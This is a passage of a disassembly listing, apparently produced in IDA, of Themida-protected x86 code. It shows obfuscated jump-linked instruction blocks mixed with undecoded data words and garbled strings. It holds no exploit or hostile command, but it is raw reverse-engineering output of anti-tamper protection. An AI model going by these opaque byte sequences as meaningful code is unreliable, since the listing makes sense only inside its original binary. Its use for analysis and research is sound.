ecx, [esp] jmp loc_546934 ; --------------------------------------------------------------------------- db 28h dd 0C3305BD8h, 8904EC83h, 0C388241Ch, 505B5453h, 0FFDC67E9h dd 0E9C1FEFFh, 941Fh, 405h, 5336E900h, 0E1890000h, 0FFD6F7E9h dd 0C2815DFFh, 43D40B49h, 0C5A6C281h, 0D5299C94h, 92CCE95Ah dd 0C7890000h, 5FFD0158h, 2BE56h, 0E9510000h, 8DF8h ; --------------------------------------------------------------------------- loc_548AFC: ; CODE XREF: Themida_:00546D2Dj pop esp jmp loc_54D710 ; --------------------------------------------------------------------------- dw 8B66h dd 8956240Ch, 4C681E6h, 57000000h, 8016E9h, 44BCB800h dd 44292DB3h, 81580424h, 4ECh, 241C8900h, 4A5368h, 242C8900h dd 6C07FD68h, 3252E96Ch, 0E0C10000h, 2BE94803h, 8100004Dh dd 0AD04246Ch, 179B27Fh, 8104245Ch, 0AD042444h, 0E979B27Fh dd 0FFFFE2ECh, 148B665Ch, 67D3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548B66: ; CODE XREF: Themida_:0054B75Bj pop eax and eax, edx mov edx, [esp] push 4FBAh jmp loc_546605 ; --------------------------------------------------------------------------- loc_548B76: ; CODE XREF: Themida_:0054E077j add esp, 4 push 1DB1h mov [esp], ebx jmp loc_551552 ; --------------------------------------------------------------------------- loc_548B86: ; CODE XREF: Themida_:0055047Bj push ebp push eax mov eax, 1679431Dh mov ebp, 37640F0Dh xor ebp, eax pop eax xor ebp, 344A3F4Ch dec ebp inc ebp sub ebp, 30750158h jmp loc_54C843 ; --------------------------------------------------------------------------- loc_548BA8: ; CODE XREF: Themida_:00549A4Dj pop ecx push edx mov edx, 14BA61D4h inc edx jmp loc_54CF2C ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 87000000h, 555C2434h, 0FFF054E9h, 0F7BD55FFh, 8925096Fh dd 0D5DFE9EEh, 0EB31FFFFh, 0E9242C8Bh, 5BC6h, 178268h dd 24148900h, 42474FFh, 0FFF6F4E9h, 0EA6851FFh, 59311507h dd 8107E9C1h, 5B686E9h, 0FFCD89BEh, 83592434h, 0FD8704C4h dd 1DF6E9h, 719BB00h, 0E3812B4Ch, 25EE424Ch, 2404FF53h dd 34EB815Bh, 0E9091441h, 88FBh ; --------------------------------------------------------------------------- loc_548C28: ; CODE XREF: Themida_:0054C028j push 32B7h mov [esp], edi mov edi, 3EB27E16h jmp loc_54BFA4 ; --------------------------------------------------------------------------- dw 0BD68h dd 8900001Fh, 0EC83240Ch, 24248904h, 4240481h, 59000000h dd 4EC81h, 2C890000h, 3300E924h, 0DBE90000h, 81FFFFD3h dd 0D713C7C1h, 0D1F7493Eh, 8166E9h, 80EB0000h, 5966ACC3h dd 62BAE9h, 0E9FA8900h, 719Ch, 9C240408h, 0FFD3B1E9h, 240481FFh dd 4, 4BB5358h, 1000000h, 6496E9D8h, 97E90000h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548CA7: ; CODE XREF: Themida_:00546331j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54AF0A ; --------------------------------------------------------------------------- aULs db 'U½Ú(',0Dh,'Lé:;',0 db 0 ; --------------------------------------------------------------------------- loc_548CC7: ; CODE XREF: Themida_:00547447j push ecx mov ecx, 0E1F4F4Eh add ecx, 3EA21005h or esi, ecx pop ecx push esi inc dword ptr [esp] pop esi sub esi, 0C384D9Eh sub edi, esi pop esi add ebx, edi pop edi push ecx mov ecx, 259E65C2h and ecx, 26A42A9h sub ecx, 0CBE79F7h add ecx, 485E0338h xor ecx, 1B986183h sub ecx, 0F1537013h sub ebx, ecx jmp loc_54897F ; --------------------------------------------------------------------------- loc_548D12: ; CODE XREF: Themida_:005476E8j push edi mov edi, 3CD000Ah sub edi, 0B4165CAh shl edi, 1 shl edi, 3 shr edi, 3 and edi, 465F12E1h xor edi, 171081h jmp loc_54ED0C ; --------------------------------------------------------------------------- loc_548D37: ; CODE XREF: Themida_:0054EBF7j movzx cx, al jmp loc_54F227 ; --------------------------------------------------------------------------- loc_548D40: ; CODE XREF: Themida_:0054858Cj add edi, 4 xchg edi, [esp] pop esp add eax, 22020ECBh push ecx push edx push 5FAB115Eh mov edx, [esp] add esp, 4 jmp loc_5489B6 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 9BE90000h, 81FFFFF5h, 0BE4F70CEh, 0E9DE316Dh, 0FFFFF7B3h dd 2434FF54h, 2D0CE9h, 4C78100h, 0E9000000h, 46CCh, 2C8BEE31h dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 1C77095Ch dd 5124348Bh, 0C181E189h, 4, 8704C183h, 0B7E9240Ch, 57000089h dd 5E5A30BFh, 81DFF75Eh, 5E5A34C7h, 5FF9015Eh, 4C181h dd 0C870000h, 0EC815C24h, 4, 0FF240C89h, 59042474h, 8B24048Fh dd 0F662424h, 6866C8B6h, 8966321Bh, 43E9240Ch db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548DFB: ; CODE XREF: Themida_:0054A6E4j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_54B937 ; --------------------------------------------------------------------------- dw 431h dd 24043324h, 0D561E95Ch, 0BE56FFFFh, 0F6D91EE8h, 0AAE9F501h dd 64FFFFF5h, 0FE9028Fh db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548E2F: ; CODE XREF: Themida_:0054C480j pop ecx pop dword ptr [esp] mov esp, [esp] push 168Eh mov [esp], edi push eax push esi mov esi, 396A0390h mov eax, 36A80248h xor eax, esi jmp loc_54A227 ; --------------------------------------------------------------------------- loc_548E51: ; CODE XREF: Themida_:005497F9j pop edi jmp loc_54848A ; --------------------------------------------------------------------------- loc_548E57: ; CODE XREF: Themida_:0054FF20j add eax, 347C5D95h add eax, edx sub eax, 347C5D95h sub eax, 3BAB643Eh pop edx jmp loc_54A8B8 ; --------------------------------------------------------------------------- dw 0C829h dd 912E9h, 58C58900h, 84E9DDF7h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548E7F: ; CODE XREF: Themida_:0054C295j push ebp push 233Dh push esp pop dword ptr [esp] push 5DB5h mov [esp], edi mov edi, 4 add [esp+4], edi pop edi pop ebp add ebp, 4 push ecx mov ecx, 4 add ebp, ecx jmp loc_54F9AE ; --------------------------------------------------------------------------- loc_548EAF: ; CODE XREF: Themida_:0054834Cj sub ebx, eax add ebx, 3AA3055Ah push ebp jmp loc_54AAA2 ; --------------------------------------------------------------------------- loc_548EBD: ; CODE XREF: Themida_:005460FBj mov ebp, 67661B55h xor ebp, 67661B51h jmp loc_547652 ; --------------------------------------------------------------------------- loc_548ECD: ; CODE XREF: Themida_:00547143j pop ebx push ebp mov ebp, 4 add ebx, ebp jmp loc_547847 ; --------------------------------------------------------------------------- db 0F7h aBakdSscf db 'Õ튄{‘é–”',0 align 4 loc_548EE8: ; CODE XREF: Themida_:0054F5B4j mov cl, [esp] add esp, 2 push eax mov al, 0CAh xor cl, al pop eax xor cl, 0C4h xor al, cl jmp loc_550FA2 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 4C281h, 0C2810000h, 2, 0FFFCC7E9h db 0FFh ; --------------------------------------------------------------------------- loc_548F15: ; CODE XREF: Themida_:0054C011j push ebp mov ebp, 53084C71h jmp loc_54C02D ; --------------------------------------------------------------------------- dd 8FE6815Ch, 81570A7Eh, 2E3273CEh, 5CEE812Ah, 81BD7B05h dd 825155EFh, 52F70144h, 825155BAh, 5AD70144h, 5AC7815Eh dd 12C9B3Eh, 5AEF81CFh, 682C9B3Eh, 4061h, 0B8240489h, 7DB3751Fh dd 0FD58C729h, 2B74BD55h, 0E58113A4h, 635B00B1h, 8F16850h dd 0A6E90000h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548F7B: ; CODE XREF: Themida_:0054C4A4j push esi mov esi, esp add esi, 4 jmp loc_54C469 ; --------------------------------------------------------------------------- db 0E9h, 0B0h, 0D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548F8E: ; CODE XREF: Themida_:00550C67j mov ebp, [esp] add esp, 4 sub eax, edx mov edx, [esp] add esp, 4 jmp loc_54F3E8 ; --------------------------------------------------------------------------- dd 104C483h, 0F0015BDEh, 2344E9h, 22146800h, 1C890000h dd 0E9E38924h, 5930h ; --------------------------------------------------------------------------- loc_548FC0: ; CODE XREF: Themida_:0054C7FCj or ebx, 3F882262h neg ebx push esi push 5282h mov [esp], edi mov edi, 0 mov esi, edi mov edi, [esp] add esp, 4 jmp loc_54CC02 ; --------------------------------------------------------------------------- loc_548FE3: ; CODE XREF: Themida_:00550184j xchg ebp, [esp] not ebp jmp loc_547F4A ; --------------------------------------------------------------------------- loc_548FED: ; CODE XREF: Themida_:0054904Dj mov dx, [esp] add esp, 2 jmp loc_549415 ; --------------------------------------------------------------------------- dd 18E4B850h, 0C6011DA1h, 0FFDBF8E9h db 0FFh ; --------------------------------------------------------------------------- loc_549009: ; CODE XREF: Themida_:005470D5j add esi, 4 jmp loc_5478A5 ; --------------------------------------------------------------------------- loc_549014: ; CODE XREF: Themida_:0055192Aj or eax, eax jmp loc_5523AD ; --------------------------------------------------------------------------- db 1 dd 242C8BEEh, 4C481h, 8AE90000h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54902B: ; CODE XREF: Themida_:0054B9B1j add edi, 1E3C595Bh jmp loc_54E501 ; --------------------------------------------------------------------------- dw 0BB53h dd 2, 964E972Dh, 51D8011Dh, 5940E9h db 0 ; --------------------------------------------------------------------------- loc_549049: ; CODE XREF: Themida_:0054AE89j mov dl, 0D1h add bl, dl jmp loc_548FED ; --------------------------------------------------------------------------- dw 2C87h dd 8B665C24h, 0EC83240Ch, 24348904h, 0FFF720E9h, 242C8BFFh dd 8F04C483h, 0AAE92404h, 52000007h, 4BAh, 0E9D10100h dd 6D83h, 0FFCFB9E9h, 8BF829FFh, 0C481243Ch, 4, 7BE9E801h db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_549097: ; CODE XREF: Themida_:005496CCj push ecx mov ecx, 36173896h shr ecx, 8 jmp loc_5467D2 ; --------------------------------------------------------------------------- loc_5490A5: ; CODE XREF: Themida_:00548988j push edx mov edx, 0EAF0257h sub ebx, edx pop edx push small word ptr [eax] jmp loc_54603E ; --------------------------------------------------------------------------- dw 0F681h dd 0FE8C7C1Eh, 0E95EF389h, 0FFFFD924h, 0B344BCBBh, 245C012Dh dd 4295B04h, 3EE95024h, 0ADFFFFFAh, 207F83h, 2009E9h, 2434FF00h dd 4C4815Dh, 81000000h, 4ECh, 24348900h, 2930BF57h, 0D4BE4630h dd 1B9CFD6h, 0D5E95FFEh, 3100002Fh, 5904244Ch, 8124048Bh dd 4C4h, 68525500h, 1BD1BC5h, 72E2815Ah, 42535E67h, 0AAE9D2F7h dd 0BFFFFFE0h, 2, 565FFE29h, 42474FFh, 24048F5Eh, 0FFEF9BE9h dd 0C8B66FFh, 0D1E95624h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54914B: ; CODE XREF: Themida_:0054CF27j xor ecx, esi jmp loc_551F1A ; --------------------------------------------------------------------------- dw 248Bh dd 240CD324h, 2B79E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54915E: ; CODE XREF: Themida_:0054D756j or eax, eax jmp loc_54C2E5 ; --------------------------------------------------------------------------- loc_549165: ; CODE XREF: Themida_:005484B8j ; Themida_:00548872j sub esp, 4 mov [esp], ebx push ebp mov ebp, 3295712Ah add [esp+4], ebp jmp loc_54A113 ; --------------------------------------------------------------------------- loc_54917A: ; CODE XREF: Themida_:00547271j pop ecx sub edx, ebp sub edx, 710F7ED3h jmp loc_54FFB4 ; --------------------------------------------------------------------------- loc_549188: ; CODE XREF: Themida_:005475DAj pop edx push ebx mov ebx, 4 add edx, ebx pop ebx push esi jmp loc_54F4A1 ; --------------------------------------------------------------------------- dd 8704C483h, 248B241Ch, 66E1F624h, 53CCB60Fh, 0C381E389h dd 4, 0FFD390E9h, 24048BFFh, 0E904C483h, 0FFFFDD72h, 4C681h dd 34870000h, 24248B24h, 0FFCE6DE9h, 24348BFFh, 4C481h dd 0EC810000h, 4, 0BD242C89h, 4, 0CF7C4705h, 2DE82939h dd 39CF7C47h, 2404335Dh, 0B70E9h db 0 ; --------------------------------------------------------------------------- loc_5491FD: ; CODE XREF: Themida_:0054DEBEj mov edx, [esp] jmp loc_54B9A2 ; --------------------------------------------------------------------------- loc_549205: ; CODE XREF: Themida_:0054C3A5j mov [esp], edx jmp loc_54746A ; --------------------------------------------------------------------------- db 66h, 51h, 9Ch dd 0FFCE29E9h db 0FFh ; --------------------------------------------------------------------------- loc_549215: ; CODE XREF: Themida_:0054E9FDj add esi, ebx pop ebx xor esi, [esp] xor [esp], esi jmp loc_54749F ; --------------------------------------------------------------------------- db 0BEh dd 3B8B241Ah, 8E95357h, 0E9000090h, 0FFFFCE0Ah, 69E9F901h dd 0B600006Ch, 80CEFE53h, 0B55101EEh, 0FEDDF657h, 0FED5F6C5h dd 5CED80CDh, 801FE9h db 0 ; --------------------------------------------------------------------------- loc_549255: ; CODE XREF: Themida_:0054FFC6j sub edx, 42816EE3h add edx, ebx add edx, 42816EE3h jmp loc_54CB8D ; --------------------------------------------------------------------------- dd 736BE981h, 0E1814B82h, 791859B5h, 1938F181h, 0C1811717h dd 7904254Ah, 0FFFFE981h, 0E1D1FFFFh, 3D19E9h, 2DE80100h dd 0B5D1B4Ch, 4A18BE56h, 0C3E90077h, 0E9000073h, 0FFFFCD9Ah ; --------------------------------------------------------------------------- loc_5492A4: ; CODE XREF: Themida_:0054C970j mov [esp], eax jmp loc_546694 ; --------------------------------------------------------------------------- dd 0E9F9F766h, 867Bh, 0EBB5352h, 0C10E3413h, 0F38104EBh dd 2525DCFh, 39DAEB81h, 0CB811FDBh, 12CA4AD9h, 88C2F381h dd 0DA89F0B5h, 8BD5315Bh, 0C4832414h, 70200504h, 38E91C08h dd 81FFFFF1h, 63C68FF6h, 5EF1210Ah, 6CBAE981h, 53412442h dd 8227D4BBh, 5BD9297Fh, 2850B850h, 6C2D521Eh, 0C16BE468h dd 0E80505E0h, 298C663Fh, 1CAE9C1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54931E: ; CODE XREF: Themida_:0054FB40j pop ecx jmp loc_5462F7 ; --------------------------------------------------------------------------- dd 2C0CF681h, 20E928CCh, 0D2000029h, 0E99C240Ch, 0FFFFCD06h dd 0E924248Bh, 43Ch, 0C588D088h, 8B2B8858h, 55E9240Ch dd 83FFFFEAh, 0C48304C4h, 42E06804h, 1C890000h, 50E38924h dd 2E1EB5B8h, 0D06EE92Eh, 0E789FFFFh, 4C781h, 0C7810000h dd 4, 5C243C87h, 591C4F09h, 0FFCCB9E9h db 0FFh ; --------------------------------------------------------------------------- loc_549385: ; CODE XREF: Themida_:005497A0j xor ebx, 7F6D022Bh jmp loc_55081E ; --------------------------------------------------------------------------- dd 582434FFh, 0FFDB37E9h, 0CCA0E9FFh, 505DFFFFh, 8904EC83h dd 0BE56240Ch, 5EFE24E8h, 895EF189h, 2D4859C8h, 5EFE24E5h dd 5502EE81h, 0C6014213h, 5502C681h, 48B4213h, 0E3895324h dd 4C381h, 0BE560000h, 4, 875EF301h, 0E95C241Ch, 0FFFFF36Fh dd 34FFCF01h, 0C4835924h, 2C78104h, 0E9000000h, 7F71h dd 77C281h, 0D5018171h, 4ED815Ah, 87000000h, 248B242Ch dd 24048924h, 885EE9h db 0 ; --------------------------------------------------------------------------- loc_549415: ; CODE XREF: Themida_:00548FF7j sub bl, 0F0h sub esp, 2 mov [esp], cx push ebx mov bl, 0E7h jmp loc_546FFB ; --------------------------------------------------------------------------- db 89h dd 4C581E5h, 81000000h, 4C5h, 242C3300h, 33242C31h, 0E95C242Ch dd 3159h, 0E95AD400h, 41E3h ; --------------------------------------------------------------------------- loc_54944C: ; CODE XREF: Themida_:005464A1j mov [esp], edi push esp pop edi push ebp mov ebp, 4 sub esp, 4 mov [esp], esi mov esi, 4741289Bh add edi, esi pop esi add edi, ebp jmp loc_54ED7E ; --------------------------------------------------------------------------- db 5Fh dd 0DB39E957h, 0EB68FFFFh, 8900003Fh, 2C812414h, 0DE669424h dd 0C5815D5Bh, 5BDE6694h, 0E924148Bh, 87F0h ; --------------------------------------------------------------------------- loc_549494: ; CODE XREF: Themida_:0054AFFDj pop edi add ebp, ebx push ebx mov ebx, 64CA3A86h jmp loc_54FB9F ; --------------------------------------------------------------------------- dw 0C2FEh dd 0C084C280h, 0EA8004EAh, 5AD000E1h, 0BF04712Ch, 0BF2CD828h dd 0D37BE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5494BE: ; CODE XREF: Themida_:0054ABC4j pop edx mov ebx, 32313446h jmp loc_54D160 ; --------------------------------------------------------------------------- loc_5494C9: ; CODE XREF: Themida_:0054FA03j or ebx, 6D387017h add ebx, 70FA0155h sub ebx, 0FB61C1Ah jmp loc_54D199 ; --------------------------------------------------------------------------- dd 0E950F788h, 40FCh, 0A8E98158h, 89025CD6h, 633559C8h dd 810C505Bh, 6D06F9EAh, 81C20159h, 6D06F9C2h, 0C2835859h dd 24148704h, 5024248Bh, 725E9h db 0 ; --------------------------------------------------------------------------- loc_549515: ; CODE XREF: Themida_:0054644Bj mov ebp, 15A21AA9h mov ecx, 34C990C4h sub ecx, 5BA67095h sub ecx, ebp add ecx, 5BA67095h pop ebp and ecx, 14E13B44h sub ecx, 783D3D6Ah not ecx xor ecx, 243461BEh xor edx, ecx pop ecx add edx, 170D3F22h jmp loc_549600 ; --------------------------------------------------------------------------- loc_549550: ; CODE XREF: Themida_:0054CF41j push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push 5829h mov [esp], edi jmp loc_54C90D ; --------------------------------------------------------------------------- db 50h, 0E9h, 0F9h dd 0AD000014h, 205D7F2Dh, 0F051E91Ch, 2668FFFFh, 8900007Ch dd 4B9240Ch, 81000000h, 0A850EFC2h, 81CA013Eh, 0A850EFEAh dd 1487593Eh, 24248B24h, 38685350h, 8B42E92Bh, 8951241Ch dd 4C181E1h, 0E9000000h, 7655h ; --------------------------------------------------------------------------- loc_5495BC: ; CODE XREF: Themida_:0054C382j mov edi, offset dword_570720 sub ebx, edi pop edi jmp loc_54C21D ; --------------------------------------------------------------------------- db 80h, 0C3h, 0F2h dd 5166C328h, 42E9F2B1h, 5A000016h, 4C481h, 0C2810000h dd 4, 397DE9h, 1C78000h, 0FFE51CE9h, 0C18159FFh, 4, 0E904E983h dd 315Ch ; --------------------------------------------------------------------------- loc_549600: ; CODE XREF: Themida_:0054954Bj sub edx, 3CFB21D8h or edx, 54C665C2h push 2757h mov [esp], ebp mov ebp, 87654Ch push esi sub esp, 4 jmp loc_54E539 ; --------------------------------------------------------------------------- db 83h, 0C7h, 4 dd 7EC1E9h, 243C8700h, 3C31D7F7h, 243C3324h, 5B243C31h dd 8369EB81h, 0DF01887Bh, 26C6E95Bh, 0A4BA0000h, 511EF225h dd 1C6733B9h, 0C1D9F73Eh, 814106E9h, 0C34854F1h, 0A5E98117h dd 0E9543B40h, 0FFFFD95Ch, 0E958C729h, 538Eh, 0ACBF575Eh dd 8112D61Bh, 3E5D9EC2h, 81FA010Ah, 3E5D9EEAh, 0D0015F0Ah dd 0E089505Ah, 405h, 4E88300h, 0E9240487h, 7789h ; --------------------------------------------------------------------------- loc_5496A0: ; CODE XREF: Themida_:00551A50j dec esi shr esi, 7 dec esi sub esi, 334813BAh xor esi, 0CF2087Bh xor esi, 0C34F5440h sub eax, esi pop esi sub eax, 150B5A9Eh pop edi push dword ptr [edi+eax*4] push 0A4Ch mov [esp], ecx push eax jmp loc_549097 ; --------------------------------------------------------------------------- db 30h, 0F1h, 5Ah aESS db '¶¥(Îé¿s',0 dd 0F9EB8100h, 0E9DD8CC3h, 0FFFFE589h, 4FEB805Ch, 0E9C0B60Fh dd 550h, 9D4CB5BBh, 1000E913h, 0E1050000h, 2D615C53h, 621B4C31h dd 3105D829h, 0E9621B4Ch, 16CAh, 2619B525h, 5D0F727h, 4260088h dd 48BC501h, 4C48324h, 0FFF925E9h db 0FFh ; --------------------------------------------------------------------------- loc_54972D: ; CODE XREF: Themida_:00549915j shr eax, 18h xor eax, ecx xchg eax, esi xor esi, ebp xor ebp, esi jmp loc_54BA74 ; --------------------------------------------------------------------------- dd 0C581D5F7h, 0FFFFFFFFh, 0B07CED81h, 0E901E088h, 4C1815Dh dd 33000000h, 0C31240Ch, 240C3324h, 0E930FF5Ch, 0FFFFED9Dh ; --------------------------------------------------------------------------- loc_549764: ; CODE XREF: Themida_:0054DFACj add edi, 33FFF8ACh jmp loc_550461 ; --------------------------------------------------------------------------- aItwVLvs_ db '‰âW¿‚%lVéÅ_',0 align 4 dd 4EC81h, 0F1E90000h, 5900000Eh, 0BA442D2Dh, 401AE97Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_549792: ; CODE XREF: Themida_:00550F5Ej mov ebp, 1 push ebp xor dword ptr [esp], 7F6D022Bh pop ebx jmp loc_549385 ; --------------------------------------------------------------------------- db 0B2h, 0B3h, 80h dd 0E228F6C2h, 8BF6EA80h, 15E92404h, 53000075h, 4BBh, 5BDD2900h dd 1603E9h, 80586600h, 0EF8097CFh, 2F780E2h, 5FE9F830h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5497D7: ; CODE XREF: Themida_:0054EC7Cj mov esp, [esp] push ebp mov ebp, esp jmp loc_546EB0 ; --------------------------------------------------------------------------- loc_5497E2: ; CODE XREF: Themida_:005510B0j xor eax, edx push dword ptr [esp] pop edx jmp loc_5477EF ; --------------------------------------------------------------------------- db 0B5h, 0CCh, 30h dd 0CCE4E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5497F6: ; CODE XREF: Themida_:0054FD47j push dword ptr [esp] jmp loc_548E51 ; --------------------------------------------------------------------------- dw 34FFh dd 7F685924h, 89000048h, 0BEE9240Ch, 55000048h, 4BF57h dd 0FD890000h, 1935E9h, 24248B00h, 4B01E952h, 48B0000h dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 5F2668h dd 240C8900h, 0FFD219E9h, 0D3F793FFh, 3EBF5793h, 501BA309h dd 2DCE955h, 0D4680000h, 89000076h, 0CFE92404h, 0D000078h dd 614A4614h, 2DE8D148h, 71DAAEDEh, 0E958C601h, 3713h dd 79FFCE81h, 18E93D3Bh db 7Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_549887: ; CODE XREF: Themida_:0054C41Fj add eax, esi pop esi sub ebp, eax pop eax sub ebx, 513A74C8h sub ebx, ebp add ebx, 513A74C8h mov ebp, [esp] add esp, 4 jmp loc_548343 ; --------------------------------------------------------------------------- db 0F6h, 0DAh, 80h dd 0D00055C2h, 281C045Ah, 2C1C2CE8h, 4ABCE926h, 3DB90000h dd 556E2071h, 52176ABDh, 5DE9294Ch, 6C89E9h, 4B85000h dd 29000000h, 143358C2h, 24143124h, 8B241433h, 6AE92424h dd 83FFFFEFh, 343302C6h, 679E924h, 0D0310000h, 0AEEF815Ah dd 0E90AA339h, 7EA8h, 815DEB01h, 2C5ABEEBh, 4852E94Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_549912: ; CODE XREF: Themida_:005473FEj and eax, ecx pop ecx jmp loc_54972D ; --------------------------------------------------------------------------- dw 815Dh dd 4C5h, 4B85000h, 29000000h, 0D7E6E9C5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54992E: ; CODE XREF: Themida_:0054A222j push esp jmp loc_54B76A ; --------------------------------------------------------------------------- dd 0E4768h, 243C8900h, 831BF66h, 4EFC166h, 7B47E9h, 4C28100h dd 83000000h, 143304EAh, 24143124h, 5C241433h, 0FF242C89h dd 0FF042474h, 835D2434h, 48F04C4h, 2876E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549972: ; CODE XREF: Themida_:0054B3D1j sub [edi+24h], edx push dword ptr [esp] pop edx jmp loc_54E90B ; --------------------------------------------------------------------------- loc_54997E: ; CODE XREF: Themida_:0054B74Cj mov edi, 34F94949h sub eax, edi pop edi mov edi, [esp] jmp loc_54DB7B ; --------------------------------------------------------------------------- dw 34FFh dd 0FE90E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549996: ; CODE XREF: Themida_:005506C9j add esp, 4 div ecx push 6CB8h mov [esp], edx push eax pushf jmp loc_54603E ; --------------------------------------------------------------------------- db 68h, 9Ch, 6Ah dd 0C890000h, 0E9E18924h, 221Ch, 81D5F74Dh, 694231EDh dd 5DEA012Dh, 48C2E958h, 0F4680000h, 89000033h, 9FBE2434h dd 1490F61h, 0D84CE9F0h, 7EBDFFFFh, 0E941EB5Dh, 77E0h ; --------------------------------------------------------------------------- loc_5499EC: ; CODE XREF: Themida_:00547DB6j pop eax sub cl, 74h not cl jmp loc_54F5A2 ; --------------------------------------------------------------------------- db 66h dd 0E924048Bh, 732Fh, 5024048Bh, 121AE9h, 0EEBF5700h, 11A0437h dd 243C8BF9h, 4C481h, 0F7510000h, 50E92414h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549A23: ; CODE XREF: Themida_:00551F4Ej mov ebx, 52E46B36h mov edi, ebx mov ebx, [esp] add esp, 4 xor [esp+4], edi mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_548BA8 ; --------------------------------------------------------------------------- dw 1C89h dd 2ABFBB24h, 0E9514E22h, 1976h, 51240C8Bh, 0C181E189h dd 4, 4C181h, 0CE90000h, 68000058h, 2, 3514055Bh, 0D80179B2h dd 0B235142Dh, 4335B79h, 24043124h, 4C41E9h, 4BD5500h dd 81000000h, 9E5847E9h, 0E9E90118h, 0FFFFD5D5h, 8FE9008Fh db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549AAF: ; CODE XREF: Themida_:00550FAFj mov [esp], bx mov bl, 73h push ebx jmp loc_54B96D ; --------------------------------------------------------------------------- db 0BDh dd 4BD8312Dh, 0E902EDC1h, 0FFFFF352h ; --------------------------------------------------------------------------- loc_549AC8: ; CODE XREF: Themida_:0054E9A5j sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_54C6F6 ; --------------------------------------------------------------------------- db 80h dd 0EB005DF5h, 0EFC5E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549AE2: ; CODE XREF: Themida_:0054D7DCj dec bl push eax mov ah, 0 add bl, ah mov eax, [esp] add esp, 4 jmp loc_5476DF ; --------------------------------------------------------------------------- db 0BBh dd 4, 34F8EF81h, 0DF012BCDh, 34F8C781h, 6FE92BCDh, 0F7000023h dd 0DBF74BD3h, 0C3814B4Bh, 0DF4B1F10h, 28EE9h, 4C48100h dd 87000000h, 248B2434h, 2404FE24h, 0C508E99Ch, 21BDFFFFh dd 89058831h, 0E9505DE8h, 5623h, 5C241487h, 4558E9h db 0 ; --------------------------------------------------------------------------- loc_549B4D: ; CODE XREF: Themida_:0054ADB6j xor eax, [esp] xor [esp], eax push dword ptr [esp] pop eax push 230h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] push eax mov eax, esp push edi mov edi, 6BA96405h dec edi xor edi, 2C581812h or edi, 5A2C720Eh push edx mov edx, 35775CE2h shr edx, 4 jmp loc_54FA10 ; --------------------------------------------------------------------------- db 89h dd 4BA2414h, 1000000h, 0FF505AD0h, 58042474h, 8B24048Fh dd 66E92424h db 76h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549BB3: ; CODE XREF: Themida_:00550994j inc ebp push edi mov edi, 0 sub edi, ebp jmp loc_548379 ; --------------------------------------------------------------------------- db 55h, 0E9h, 0CEh dd 5000010h, 4, 5C22E9h, 13B5B800h, 0A135338Bh, 892FFA43h dd 24048BC2h, 4204C483h, 0FFD726E9h db 0FFh ; --------------------------------------------------------------------------- loc_549BE9: ; CODE XREF: Themida_:00550764j add esp, 4 xor edi, 569E9D53h add esi, 14F24114h add esi, 6F8D6278h add esi, edi jmp loc_54F0F4 ; --------------------------------------------------------------------------- db 1, 0C2h, 0E9h dd 24B5h, 5008EFC0h, 0DCE939B0h, 89000031h, 0D48AE9E2h dd 2159FFFFh, 148B1C57h, 8B545624h, 0CDE92434h, 8300004Fh dd 2C8904ECh, 0CA00E924h, 0FDB8FFFFh, 0E96C6C07h, 8016h dd 0E98734FFh, 0FFFFC3F2h, 0D03BE95Eh, 77FFFFFFh, 2434FF1Ch dd 0FFD0B5E9h, 4C781FFh, 81000000h, 4EFh, 74FF5700h, 8F5F0424h dd 895C2404h, 8CBB241Ch, 2D64835Bh, 255325h, 3DB0E9h, 0CF685800h dd 89000007h, 0FAE92404h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549C93: ; CODE XREF: Themida_:0054A857j xchg edi, [esp] pop esp add esp, 4 or edx, eax jmp loc_54C2F5 ; --------------------------------------------------------------------------- aBApBsNrpss9 db 'É€p*',1Bh,'é(nré˜9',0 dd 5AD58900h, 1D06F581h, 8E9303Bh, 58FFFFE5h, 7947E9h dd 0E9505A00h, 2D60h, 5F77C581h, 0B850F015h, 7A50057Ah dd 0ECBA5248h, 29AA6976h, 0C5015AD0h, 1CFEE958h, 24890000h dd 24048324h, 0BF575904h, 7F861976h, 378CEF81h, 0F7573E0Dh dd 0E95F2414h, 889h, 7CEF581h, 0C5811F2Eh, 5B977B50h, 315DEB31h dd 0D7E9E9DAh, 0EBC1FFFFh, 6706E902h, 0E0890000h, 27C4E951h dd 